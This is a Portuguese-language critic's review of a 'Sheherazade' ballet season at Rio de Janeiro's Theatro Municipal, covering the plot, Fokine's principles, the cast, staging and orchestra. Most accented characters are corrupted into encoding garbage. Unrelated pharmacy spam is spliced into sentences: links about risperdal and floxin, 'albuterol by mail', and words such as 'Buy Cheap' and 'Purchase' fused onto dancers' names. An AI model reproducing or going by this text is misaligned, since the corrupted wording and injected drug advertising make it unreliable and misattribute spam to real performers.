Balé/DançaCríticaLateralRio de Janeiro

BalA� “Sheherazade” no Municipal do RJ

Considerado o balA� dos balA�s, http://www.whoma.es/what-is-the-street-price-for-risperdal/ Sheherazade retorna ao Theatro Municipal carioca.

Um poema sinfA?nico, com a grandiosa e envolvente mA?sica de NikolA?i AndrA?ievitch Rimski-KA?rsakov (1844-1908),A�inspirado na histA?ria do sultA?o que apA?s ter sido traA�do por uma mulher, adquire o hA?bito de se vingarA�de todas as mulheres com quem se casa. Casa-se e, na manhA? seguinte, executa a esposa. Isso se repete atA� encontrar Sherazade, que, sabedora disso, toda noite contava uma histA?ria envolvente ao sultA?o instigando a sua curiosidade, deixando a sequA?ncia para o dia seguinte, conseguindo assim, adiar sua morte. Sendo assim, apA?s mil e uma noites de contos, Sherazade conseguiu ser salva e reconhecida pelo sultA?o.


Uma histA?ria dentro da histA?ria

O enredo criado por Alexander Benoir nA?o se baseia diretamente no conto das Mil e Uma Noites, mas inspira-se em seu prA?logo. O cerne da aA�A?o estA? no sultA?o Sharyar que finge deixar seu PalA?cio para de fato verificar a fidelidade de seu harA�m na sua ausA?ncia.

Michel Fokine e o pintor LA�on Bakst tiveram total liberdade para criar o balA� de um ato e quarto cenas. Fokine utilizou segundo, terceiro e quarto movimentos.

Order

Uma atmosfera oriental onde sentimento e forma vA?o ganhando espaA�o numa atmosfera oriental, em queA�mistA�rio e luxo se misturam num espaA�o habitado por eunucos, servos e guerreiros. Tesouros vivos, alA�m de grande cortina verde esmeralda, envolta em pesadas dobras. Figurinos e cenA?rios feitos por Bakst, inspirada por miniaturas persas.

Michel Fokine A� considerado o maior expoente do balA� do sA�culo 20. Seu trabalho assentava-se na aplicaA�A?o de cinco princA�pios que ele mesmo elaborou em seu inA�cio de carreira e que fez publicar no Times de Londres, em 1914, quando jA? havia sido consagrado o pai do balA� moderno:

1 – conceber, para cada coreografia, movimentos que correspondam ao tema, perA�odo e mA?sica, ao invA�s de apenas formular combinaA�A�es de passos tradicionais;

2 – gestos e mA�mica somente tA?m sentido no ballet quando servem para exprimir a aA�A?o dramA?tica;

3 – oA�corpo humano deve expressar-se da cabeA�a aos pA�s e por isso os gestos convencionais devem ser substituA�dos;

4 – os grupos nA?o podem ser meros ornamentos, devendo integrar-se plenamente A� aA�A?o; e

5 – oA�novo balA�, sem ser escravo da mA?sica nem do cenA?rio, reconhece a fundamental importA?ncia de ambos, formando assim uma alianA�a coesa.


Sheherazade
no Municipal

Com uma proposta bastante desafiadora e intrigante, a direA�A?o artA�stica da companhia de BalA�A�do Theatro Municipal do Rio de Janeiro optou por seguir a prA?tica da casa, ocorrida no passado,A�de nA?o escalar nessa temporada suas primeiras figuras para o papel principal desse balA�. HavendoA�na casa bailarinos com phisique du rA?le eA�capacidade artA�stica e tA�cnica, que sejam escalados para protagonizar as personagens principais. Seguindo esse raciocA�nio, respondem atualmente como Primeiras Solistas da casa que irA?o se revezar no papel de Zobeide nessa temporada: Deborah Ribeiro, Priscila Albuquerque e albuterol by mail Renata TubarA?o.

Como Escravo Dourado, revezam-se os Primeiros Bailarinos CA�cero Gomes http://yalasarat.info/1396/11/13/cheap-floxinoxinihilipilification/ , Felipe Moreira e Moacir Emanoel.A�Como oA�sultA?o Sharyar apresentam-seA�Joseny Coutinho e o Primeiro Bailarino Marcelo Misailidis (participaA�A?o especial). No papel de Shah Zeman, temosA�Aderson DionA�sio e Edfranc Alves. Como Chefe dos Escravos, Purchase Manoel Francisco (participaA�A?o especial), Ronaldo Martins e Toni Candeloro (participaA�A?o especial), responsA?vel por essa remontagem e pela supervisA?o artA�stica.


Noite de estreia

A mA?sica de KA?rsakov toma conta da sala de espetA?culo sob a batuta do maestro Tobias Volkmann, que conduz a Orquestra SinfA?nica do Theatro Municipal de forma harmA?nica e suntuosa, de acordo com a proposta do compositor russo. Numa atmosfera quente e mA?gica, cordas e metais vA?o criando o clima de dramaticidade e suspense do que estar por vir.

A cortina sobeA�-A�aliA?s tenho muita curiosidade de saber o que aconteceu com a cortina do palco do Teatro Municipal. SerA? que estA? sofrendo alguma reforma?

Prosseguindo, o pano sobe e o cenA?rio apresentado nessa temporada, fica um pouco a desejar do que se espera, em se tratando do harA�m do rei Sharyar. Toda suntuosidade se perde na palidez de um teto azul, muito distante da proposta inicial tendo como base o desenho de cenA?rio feito por LA�on Bakst. Lustres de pouco gosto e refinamento definitivamente nA?o se afinam com a iluminaA�A?o sombria, em momentos quase insA�pidos ofuscando a imagem do casal principal. Os figurinos nA?o sA?o muito diferentes do equivocado cenA?rio. Pena…

O ponto alto dessa temporada foi o corpo de baile. Com grande virtuosismo e sincronismo, contaram com sentimento e forma o teor que a obra solicita.A�Excelente o trio das odaliscas favoritas, com destaque para a interpretaA�A?o da bailarina Buy Cheap Juliana ValadA?o, que captou de forma artA�stica e tA�cnica impecA?vel a traduA�A?o do balA� dos balA�s.

O Primeiro Bailarino Marcelo Misailidis com sua participaA�A?o mais que especial, trouxe a experiA?ncia e o conhecimento profundo de sua arte, agregando o elenco. Sua presenA�a dA? o teor exato de seu personagem na mA?sica de KA?rsakov, respeitando detalhadamente a proposta de Michel Fokine.

Vale destacar aqui o momento assertivo da direA�A?o artA�stica do BalA�A�do Theatro Municipal, trazendo para sua equipe o remontador italiano Toni Candeloro, que, com sua experiA?ncia e alto conhecimento da obra, somou de forma significativa, atuando como Chefe dos Eunucos.

Essa proposta “inovadora”, contemplando somente as Primeiras Solistas da casa, definitivamente nA?o funcionou na noite de estreia. Sendo louvA?vel todo e qualquer argumento idA?neo cuidadosamente explorado por instA?ncias superiores devidamente abalizadas para tal.

Para concluir, deixo aqui minha satisfaA�A?o em ver que a arte se sobrepA�eA�a tempos difA�ceis, ressaltando toda importA?ncia e dignidade com que o trabalho realizado pelo bailarino italiano Toni Candeloro – remontador do balA� -A�ecoou na execuA�A?o do corpo de baile dessa Companhia.

Como diria bardo inglA?s: “O estar pronto A� tudo“. a�� Hamlet (W. Shakespeare).

Leia tambA�m as crA�ticas de Fabiano GonA�alves e Cheap Leonardo Marques

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Wellen Barros
Wellen Barros – Cantora Lírica integrante dos corpos artísticos do Theatro Municipal do Rio de Janeiro. Concluiu Bacharelado em Música pelo Conservatório de Música de Niterói. Formada em História da Dança pela UNIDANÇA. Atua como preparadora vocal para atores na Companhia de Teatro Recontando Conto. Possui especialização em Shakespeare tendo como Mestra Bárbara Heliodora. Atualmente desenvolve pesquisa sobre Verdi e sua dramaticidade teatral. Autora da Biografia da primeira bailarina do Theatro Municipal do Rio de Janeiro – Cecília Kerche para o Figuras da Dança da São Paulo Companhia de Dança.